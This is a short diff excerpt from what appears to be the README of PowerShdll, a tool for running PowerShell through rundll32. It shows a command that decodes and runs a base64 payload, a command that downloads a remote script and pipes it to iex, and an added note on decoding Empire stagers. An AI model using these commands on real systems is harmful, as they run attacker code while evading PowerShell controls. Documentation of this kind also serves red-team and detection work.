| skipped 25 lines |
26 | 26 | | ``` |
27 | 27 | | rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex |
28 | 28 | | ``` |
| 29 | + | Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode |
29 | 30 | | ### Download and run script |
30 | 31 | | ``` |
31 | 32 | | rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex; |
| skipped 11 lines |